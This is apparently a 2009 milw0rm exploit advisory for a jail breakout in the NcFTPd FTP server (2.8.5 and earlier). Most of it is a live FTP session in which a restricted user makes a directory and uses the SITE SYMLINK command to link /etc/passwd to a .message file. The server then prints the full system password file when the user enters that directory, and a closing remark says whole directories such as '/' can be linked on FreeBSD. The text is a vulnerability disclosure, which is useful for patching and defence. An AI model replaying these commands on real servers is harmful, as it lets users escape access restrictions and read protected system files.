NcFTPd <= 2.8.5 remote jail breakout Discovered by: Kingcope Contact: kcope2googlemail.com / http://isowarez.de Date: 27th July 2009 Greetings: Alex,Andi,Adize,wY!,Netspy,Revoguard Prerequisites: Valid user account. Demonstration on FreeBSD 7.0-RELEASE and NcFTPd 2.8.5 (latest version): # ftp 192.168.2.5 Connected to 192.168.2.5. 220 localhost NcFTPd Server (unregistered copy) ready. Name (192.168.2.5:root): kcope 331 User kcope okay, need password. Password: 230-You are user #1 of 50 simultaneous users allowed. 230- 230 Restricted user logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> get /etc/passwd passwd local: passwd remote: /etc/passwd 502 Unimplemented command. 227 Entering Passive Mode (192,168,2,5,219,171) 550 No such file. ftp> ls .. 227 Entering Passive Mode (192,168,2,5,218,102) 553 Permission denied. ftp> mkdir isowarez 257 "/isowarez" directory created. ftp> quote site symlink /etc/passwd isowarez/.message 250 Symlinked. ftp> cd isowarez 250-"/isowarez" is new cwd. 250- 250-# $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $ 250-# 250-root:*:0:0:Charlie &:/root:/bin/sh 250-toor:*:0:0:Bourne-again Superuser:/root: 250-daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin 250-operator:*:2:5:System &:/:/usr/sbin/nologin 250-bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin 250-tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin 250-kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin 250-games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin 250-news:*:8:8:News Subsystem:/:/usr/sbin/nologin 250-man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin 250-sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin 250-smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin 250-mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin 250-bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin 250-proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin 250-_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin 250-_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin 250-uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico 250-pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin 250-www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin 250-nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin 250-kcope:*:1001:1001:User kcope:/home/kcope:/bin/csh 250-messagebus:*:556:556:D-BUS Daemon User:/nonexistent:/sbin/nologin 250-polkit:*:562:562:PolicyKit Daemon User:/nonexistent:/sbin/nologin 250-haldaemon:*:560:560:HAL Daemon User:/nonexistent:/sbin/nologin 250-ftp:*:1002:14:User &:/home/ftp:/bin/sh 250-cyrus:*:60:60:the cyrus mail server:/usr/local/cyrus:/bin/csh 250-postfix:*:125:125:Postfix Mail System:/var/spool/postfix:/usr/sbin/nologin 250-test:*:1003:1003:test:/home/test:/bin/sh 250-+testx:*:::::/bin/sh 250 ftp> +on freebsd you can symlink directories like ´/´ Cheerio, Kingcope # milw0rm.com [2009-07-27]